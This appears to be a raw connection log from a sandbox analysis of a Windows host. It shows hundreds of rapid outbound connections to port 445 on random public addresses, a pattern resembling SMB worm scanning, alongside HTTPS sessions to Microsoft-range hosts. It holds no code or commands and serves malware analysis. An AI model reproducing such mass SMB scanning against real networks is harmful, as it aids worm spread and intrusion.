Jul 20, 2022 09:07:27.078558922 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078598976 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.078712940 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.078715086 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078764915 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078803062 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.255022049 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.255194902 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.255213022 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.255283117 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.258342028 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.258384943 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.258402109 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.258435965 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.262842894 CEST	49827	445	192.168.2.6	212.175.91.126
Jul 20, 2022 09:07:27.878210068 CEST	49832	445	192.168.2.6	37.170.205.185
Jul 20, 2022 09:07:27.986414909 CEST	49833	445	192.168.2.6	151.234.96.86
Jul 20, 2022 09:07:28.247312069 CEST	49836	445	192.168.2.6	145.199.221.201
Jul 20, 2022 09:07:28.411784887 CEST	49839	445	192.168.2.6	125.227.21.238
Jul 20, 2022 09:07:28.982464075 CEST	49848	445	192.168.2.6	147.23.62.100
Jul 20, 2022 09:07:29.115092039 CEST	49850	445	192.168.2.6	9.25.8.1
Jul 20, 2022 09:07:29.379616976 CEST	49853	445	192.168.2.6	24.207.73.214
Jul 20, 2022 09:07:29.529298067 CEST	49856	445	192.168.2.6	30.6.182.58
Jul 20, 2022 09:07:29.790636063 CEST	49860	445	192.168.2.6	222.42.218.113
Jul 20, 2022 09:07:30.145267963 CEST	49865	445	192.168.2.6	1.98.103.10
Jul 20, 2022 09:07:30.231235981 CEST	49867	445	192.168.2.6	108.242.127.188
Jul 20, 2022 09:07:30.502743959 CEST	49870	445	192.168.2.6	60.214.160.241
Jul 20, 2022 09:07:30.653008938 CEST	49873	445	192.168.2.6	87.106.53.174
Jul 20, 2022 09:07:30.887460947 CEST	49876	445	192.168.2.6	5.161.31.43
Jul 20, 2022 09:07:31.246793985 CEST	49881	445	192.168.2.6	17.44.242.249
Jul 20, 2022 09:07:31.340950012 CEST	49883	445	192.168.2.6	95.208.110.198
Jul 20, 2022 09:07:31.623863935 CEST	49887	445	192.168.2.6	9.128.59.245
Jul 20, 2022 09:07:31.793984890 CEST	49889	445	192.168.2.6	152.34.76.244
Jul 20, 2022 09:07:31.796004057 CEST	49890	445	192.168.2.6	183.215.96.44
Jul 20, 2022 09:07:31.996700048 CEST	49894	445	192.168.2.6	93.4.12.66
Jul 20, 2022 09:07:32.374135971 CEST	49899	445	192.168.2.6	215.182.220.219
Jul 20, 2022 09:07:32.466660023 CEST	49900	445	192.168.2.6	51.33.153.52
Jul 20, 2022 09:07:32.752885103 CEST	49904	445	192.168.2.6	85.201.136.163
Jul 20, 2022 09:07:33.008280039 CEST	49906	445	192.168.2.6	94.83.11.29
Jul 20, 2022 09:07:33.008872986 CEST	49907	445	192.168.2.6	124.207.47.39
Jul 20, 2022 09:07:33.124519110 CEST	49911	445	192.168.2.6	132.169.32.78
Jul 20, 2022 09:07:33.497313023 CEST	49916	445	192.168.2.6	77.18.130.140
Jul 20, 2022 09:07:33.590981007 CEST	49919	445	192.168.2.6	172.240.223.219
Jul 20, 2022 09:07:33.725856066 CEST	445	49919	172.240.223.219	192.168.2.6
Jul 20, 2022 09:07:33.812041998 CEST	49921	445	192.168.2.6	70.250.197.218
Jul 20, 2022 09:07:33.895255089 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:34.122972012 CEST	49925	445	192.168.2.6	83.121.38.44
Jul 20, 2022 09:07:34.123946905 CEST	49926	445	192.168.2.6	68.34.145.168
Jul 20, 2022 09:07:34.126354933 CEST	445	49922	201.187.246.11	192.168.2.6
Jul 20, 2022 09:07:34.126492023 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:34.127536058 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:34.270442009 CEST	49930	445	192.168.2.6	34.124.209.139
Jul 20, 2022 09:07:34.293121099 CEST	49919	445	192.168.2.6	172.240.223.219
Jul 20, 2022 09:07:34.360126019 CEST	445	49927	201.187.246.1	192.168.2.6
Jul 20, 2022 09:07:34.360225916 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:34.387042046 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:34.428035021 CEST	445	49919	172.240.223.219	192.168.2.6
Jul 20, 2022 09:07:34.624264002 CEST	445	49933	201.187.246.1	192.168.2.6
Jul 20, 2022 09:07:34.624450922 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:34.644274950 CEST	49937	445	192.168.2.6	31.93.209.153
Jul 20, 2022 09:07:34.748903990 CEST	49939	445	192.168.2.6	92.245.85.227
Jul 20, 2022 09:07:34.950608969 CEST	49941	445	192.168.2.6	67.200.205.44
Jul 20, 2022 09:07:34.996321917 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:35.183839083 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:35.247400045 CEST	49944	445	192.168.2.6	178.68.109.72
Jul 20, 2022 09:07:35.247450113 CEST	49945	445	192.168.2.6	109.243.69.36
Jul 20, 2022 09:07:35.389424086 CEST	49948	445	192.168.2.6	195.82.146.177
Jul 20, 2022 09:07:35.429069042 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:35.683902979 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:35.755286932 CEST	49955	445	192.168.2.6	199.54.31.112
Jul 20, 2022 09:07:35.793315887 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:35.832279921 CEST	49956	445	192.168.2.6	168.188.95.155
Jul 20, 2022 09:07:35.859766006 CEST	49957	445	192.168.2.6	84.111.243.29
Jul 20, 2022 09:07:36.075601101 CEST	49959	445	192.168.2.6	5.223.170.187
Jul 20, 2022 09:07:36.121470928 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:36.372591019 CEST	49963	445	192.168.2.6	53.206.92.199
Jul 20, 2022 09:07:36.373429060 CEST	49964	445	192.168.2.6	89.1.44.32
Jul 20, 2022 09:07:36.514945984 CEST	49968	445	192.168.2.6	198.33.155.40
Jul 20, 2022 09:07:36.872886896 CEST	49973	445	192.168.2.6	15.252.41.235
Jul 20, 2022 09:07:36.950268030 CEST	49975	445	192.168.2.6	82.123.35.186
Jul 20, 2022 09:07:36.988360882 CEST	49976	445	192.168.2.6	179.68.196.154
Jul 20, 2022 09:07:37.183989048 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:37.184007883 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:37.200736046 CEST	49977	445	192.168.2.6	74.245.152.30
Jul 20, 2022 09:07:37.500864983 CEST	49981	445	192.168.2.6	67.148.30.160
Jul 20, 2022 09:07:37.501564980 CEST	49982	445	192.168.2.6	42.168.77.217
Jul 20, 2022 09:07:37.525674105 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:37.652395964 CEST	49985	445	192.168.2.6	16.245.202.244
Jul 20, 2022 09:07:37.843476057 CEST	49990	445	192.168.2.6	180.210.253.5
Jul 20, 2022 09:07:38.008717060 CEST	49993	445	192.168.2.6	37.180.101.218
Jul 20, 2022 09:07:38.075974941 CEST	49994	445	192.168.2.6	162.170.224.38
Jul 20, 2022 09:07:38.122654915 CEST	49995	445	192.168.2.6	78.146.163.149
Jul 20, 2022 09:07:38.329974890 CEST	49997	445	192.168.2.6	193.180.241.158
Jul 20, 2022 09:07:38.607215881 CEST	50001	445	192.168.2.6	28.106.41.218
Jul 20, 2022 09:07:38.607969999 CEST	50002	445	192.168.2.6	73.51.139.198
Jul 20, 2022 09:07:38.768234968 CEST	50005	445	192.168.2.6	27.111.58.55
Jul 20, 2022 09:07:38.966435909 CEST	50010	445	192.168.2.6	71.132.232.85
Jul 20, 2022 09:07:39.122894049 CEST	50012	445	192.168.2.6	161.80.99.251
Jul 20, 2022 09:07:39.259191036 CEST	50013	445	192.168.2.6	75.25.56.7
Jul 20, 2022 09:07:39.260252953 CEST	50014	445	192.168.2.6	135.253.78.229
Jul 20, 2022 09:07:39.450679064 CEST	50016	445	192.168.2.6	79.7.234.98
Jul 20, 2022 09:07:39.763641119 CEST	50019	445	192.168.2.6	70.204.4.123
Jul 20, 2022 09:07:39.764430046 CEST	50020	445	192.168.2.6	11.252.162.91
Jul 20, 2022 09:07:39.888931990 CEST	50025	445	192.168.2.6	24.172.167.249
Jul 20, 2022 09:07:39.996723890 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:39.999140978 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:40.056174994 CEST	445	50025	24.172.167.249	192.168.2.6
Jul 20, 2022 09:07:40.098683119 CEST	50029	445	192.168.2.6	191.63.89.5
Jul 20, 2022 09:07:40.248390913 CEST	50032	445	192.168.2.6	213.72.116.247
Jul 20, 2022 09:07:40.303607941 CEST	445	50029	191.63.89.5	192.168.2.6
Jul 20, 2022 09:07:40.310564041 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:40.359462023 CEST	50033	445	192.168.2.6	197.133.211.148
Jul 20, 2022 09:07:40.359965086 CEST	50034	445	192.168.2.6	165.138.37.103
Jul 20, 2022 09:07:40.596107960 CEST	50036	445	192.168.2.6	136.219.233.109
Jul 20, 2022 09:07:40.621835947 CEST	50025	445	192.168.2.6	24.172.167.249
Jul 20, 2022 09:07:40.789093018 CEST	445	50025	24.172.167.249	192.168.2.6
Jul 20, 2022 09:07:40.809842110 CEST	50029	445	192.168.2.6	191.63.89.5
Jul 20, 2022 09:07:40.929114103 CEST	50040	445	192.168.2.6	83.206.28.115
Jul 20, 2022 09:07:40.929899931 CEST	50041	445	192.168.2.6	125.103.41.2
Jul 20, 2022 09:07:41.014420033 CEST	445	50029	191.63.89.5	192.168.2.6
Jul 20, 2022 09:07:41.050832033 CEST	50042	445	192.168.2.6	29.0.21.61
Jul 20, 2022 09:07:41.051611900 CEST	50043	445	192.168.2.6	168.156.36.18
Jul 20, 2022 09:07:41.237343073 CEST	445	50041	125.103.41.2	192.168.2.6
Jul 20, 2022 09:07:41.507636070 CEST	50045	445	192.168.2.6	133.194.171.150
Jul 20, 2022 09:07:41.508343935 CEST	50046	445	192.168.2.6	212.41.211.90
Jul 20, 2022 09:07:41.509027004 CEST	50047	445	192.168.2.6	195.65.189.40
Jul 20, 2022 09:07:41.509768009 CEST	50048	445	192.168.2.6	205.22.181.70
Jul 20, 2022 09:07:41.925513029 CEST	50041	445	192.168.2.6	125.103.41.2
Jul 20, 2022 09:07:42.095784903 CEST	50049	445	192.168.2.6	175.109.55.25
Jul 20, 2022 09:07:42.098532915 CEST	50050	445	192.168.2.6	78.129.183.104
Jul 20, 2022 09:07:42.099267006 CEST	50051	445	192.168.2.6	92.4.171.229
Jul 20, 2022 09:07:42.234736919 CEST	445	50041	125.103.41.2	192.168.2.6
Jul 20, 2022 09:07:42.306045055 CEST	50054	445	192.168.2.6	21.101.97.61
Jul 20, 2022 09:07:42.306889057 CEST	50055	445	192.168.2.6	168.210.26.0
Jul 20, 2022 09:07:42.308092117 CEST	50056	445	192.168.2.6	129.39.81.35
Jul 20, 2022 09:07:43.355669022 CEST	50060	445	192.168.2.6	135.16.202.31
Jul 20, 2022 09:07:43.356203079 CEST	50061	445	192.168.2.6	207.104.89.48
Jul 20, 2022 09:07:43.377450943 CEST	50062	445	192.168.2.6	69.102.59.12
Jul 20, 2022 09:07:43.378081083 CEST	50063	445	192.168.2.6	177.190.156.209
Jul 20, 2022 09:07:43.515923023 CEST	50065	445	192.168.2.6	204.213.178.59
Jul 20, 2022 09:07:43.516690016 CEST	50066	445	192.168.2.6	157.53.219.120
Jul 20, 2022 09:07:43.517441034 CEST	50067	445	192.168.2.6	12.125.35.248
Jul 20, 2022 09:07:43.518183947 CEST	50068	445	192.168.2.6	87.52.91.180
Jul 20, 2022 09:07:43.518884897 CEST	50069	445	192.168.2.6	122.9.159.106
Jul 20, 2022 09:07:43.519634008 CEST	50070	445	192.168.2.6	223.132.231.234
Jul 20, 2022 09:07:44.143321991 CEST	50077	445	192.168.2.6	154.6.125.18
Jul 20, 2022 09:07:45.451122999 CEST	50079	445	192.168.2.6	175.204.225.69
Jul 20, 2022 09:07:45.452250957 CEST	50080	445	192.168.2.6	41.112.202.212
Jul 20, 2022 09:07:45.452961922 CEST	50081	445	192.168.2.6	71.59.31.169
Jul 20, 2022 09:07:45.453689098 CEST	50082	445	192.168.2.6	179.63.53.222
Jul 20, 2022 09:07:45.454365015 CEST	50083	445	192.168.2.6	135.217.13.50
Jul 20, 2022 09:07:45.455033064 CEST	50084	445	192.168.2.6	35.197.249.32
Jul 20, 2022 09:07:45.455710888 CEST	50085	445	192.168.2.6	208.242.39.10
Jul 20, 2022 09:07:45.456378937 CEST	50086	445	192.168.2.6	210.54.122.226
Jul 20, 2022 09:07:45.457057953 CEST	50087	445	192.168.2.6	29.191.102.120
Jul 20, 2022 09:07:45.497236013 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:45.499670029 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:45.561026096 CEST	50089	445	192.168.2.6	150.20.56.13
Jul 20, 2022 09:07:45.561475992 CEST	50090	445	192.168.2.6	189.253.15.102
Jul 20, 2022 09:07:45.919148922 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:46.165301085 CEST	50100	445	192.168.2.6	94.224.42.220
Jul 20, 2022 09:07:46.576601982 CEST	50102	445	192.168.2.6	90.26.58.139
Jul 20, 2022 09:07:46.577424049 CEST	50103	445	192.168.2.6	213.179.81.147
Jul 20, 2022 09:07:46.578205109 CEST	50104	445	192.168.2.6	45.41.150.45
Jul 20, 2022 09:07:46.578917027 CEST	50105	445	192.168.2.6	137.232.148.18
Jul 20, 2022 09:07:46.579647064 CEST	50106	445	192.168.2.6	173.31.93.5
Jul 20, 2022 09:07:46.580384970 CEST	50107	445	192.168.2.6	93.186.30.205
Jul 20, 2022 09:07:46.581120014 CEST	50108	445	192.168.2.6	92.151.159.219
Jul 20, 2022 09:07:46.581821918 CEST	50109	445	192.168.2.6	166.30.222.53
Jul 20, 2022 09:07:46.582531929 CEST	50110	445	192.168.2.6	204.248.106.164
Jul 20, 2022 09:07:46.670890093 CEST	50113	445	192.168.2.6	31.103.200.247
Jul 20, 2022 09:07:46.671631098 CEST	50114	445	192.168.2.6	70.3.136.214
Jul 20, 2022 09:07:47.282177925 CEST	50123	445	192.168.2.6	156.173.41.166
Jul 20, 2022 09:07:47.623739958 CEST	49748	443	192.168.2.6	20.190.160.3
Jul 20, 2022 09:07:47.692194939 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:47.692240000 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:47.692327976 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:47.692718983 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:47.692734003 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:47.701308966 CEST	50127	445	192.168.2.6	8.43.0.33
Jul 20, 2022 09:07:47.705414057 CEST	50128	445	192.168.2.6	104.216.138.81
Jul 20, 2022 09:07:47.705611944 CEST	50129	445	192.168.2.6	106.222.34.198
Jul 20, 2022 09:07:47.705677032 CEST	50130	445	192.168.2.6	211.132.133.220
Jul 20, 2022 09:07:47.705797911 CEST	50132	445	192.168.2.6	134.12.64.177
Jul 20, 2022 09:07:47.705817938 CEST	50131	445	192.168.2.6	64.52.26.98
Jul 20, 2022 09:07:47.705941916 CEST	50134	445	192.168.2.6	19.7.146.161
Jul 20, 2022 09:07:47.705965996 CEST	50133	445	192.168.2.6	199.210.42.152
Jul 20, 2022 09:07:47.706021070 CEST	50135	445	192.168.2.6	92.14.138.187
Jul 20, 2022 09:07:47.796017885 CEST	50137	445	192.168.2.6	114.100.214.87
Jul 20, 2022 09:07:47.796408892 CEST	50138	445	192.168.2.6	69.199.200.136
Jul 20, 2022 09:07:48.101504087 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.101597071 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.103072882 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.103167057 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.141172886 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.141199112 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.141720057 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.142762899 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.142813921 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.142874002 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.206736088 CEST	50145	445	192.168.2.6	17.29.70.119
Jul 20, 2022 09:07:48.323520899 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.323549032 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.323600054 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.323632956 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.323672056 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.323719025 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.373811960 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.373846054 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.373863935 CEST	50125	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.373872995 CEST	443	50125	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.415312052 CEST	50148	445	192.168.2.6	11.7.72.87
Jul 20, 2022 09:07:48.475383997 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.475436926 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.475534916 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.476102114 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.476116896 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.495898008 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.495938063 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.496023893 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.496248960 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.496264935 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.612020969 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.612776041 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.612799883 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.614079952 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.614088058 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.614145994 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.614155054 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.643347979 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.643449068 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.644800901 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.644890070 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.670955896 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.670984030 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.671386003 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.672343969 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.672420979 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.672489882 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.797624111 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.797655106 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.797708035 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.797729969 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.797750950 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.797797918 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.799176931 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.799199104 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.799206972 CEST	50149	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.799215078 CEST	443	50149	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.810722113 CEST	50153	445	192.168.2.6	221.153.39.8
Jul 20, 2022 09:07:48.811435938 CEST	50154	445	192.168.2.6	16.85.245.75
Jul 20, 2022 09:07:48.814883947 CEST	50155	445	192.168.2.6	6.71.73.103
Jul 20, 2022 09:07:48.815068007 CEST	50156	445	192.168.2.6	68.125.196.187
Jul 20, 2022 09:07:48.815131903 CEST	50157	445	192.168.2.6	7.95.174.51
Jul 20, 2022 09:07:48.815253973 CEST	50158	445	192.168.2.6	38.21.15.166
Jul 20, 2022 09:07:48.815361977 CEST	50159	445	192.168.2.6	214.139.66.16
Jul 20, 2022 09:07:48.815481901 CEST	50160	445	192.168.2.6	37.220.184.36
Jul 20, 2022 09:07:48.815568924 CEST	50161	445	192.168.2.6	87.125.174.174
Jul 20, 2022 09:07:48.848998070 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.849033117 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.849086046 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.849116087 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.849199057 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.855144024 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.855175972 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.855186939 CEST	50150	443	192.168.2.6	40.126.31.67
Jul 20, 2022 09:07:48.855194092 CEST	443	50150	40.126.31.67	192.168.2.6
Jul 20, 2022 09:07:48.907983065 CEST	50163	445	192.168.2.6	213.102.88.228
Jul 20, 2022 09:07:48.908828974 CEST	50164	445	192.168.2.6	96.177.97.101
Jul 20, 2022 09:07:48.926352978 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.926398993 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.926487923 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.926901102 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.926954031 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.928384066 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.928411007 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.928419113 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.929485083 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.929518938 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.929600954 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.929784060 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.929797888 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.930399895 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.930423975 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.931461096 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.931494951 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.931519032 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.931544065 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.931586027 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.931790113 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.931802988 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:48.931818008 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.932368040 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:48.932380915 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.066315889 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.066590071 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.066792011 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.067071915 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.071088076 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.071109056 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.074055910 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.074076891 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.074126959 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.074140072 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.074306965 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.075041056 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.075052977 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.078010082 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.078026056 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.078062057 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.078073025 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.078078032 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.078092098 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.079416990 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.079422951 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.079438925 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.079447031 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.080729008 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.080741882 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.080777884 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.080782890 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.080791950 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.080797911 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.081291914 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.081316948 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.082355976 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.082370043 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.082398891 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.082417011 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.243711948 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.243738890 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.243786097 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.243810892 CEST	443	50169	40.126.31.73	192.168.2.6
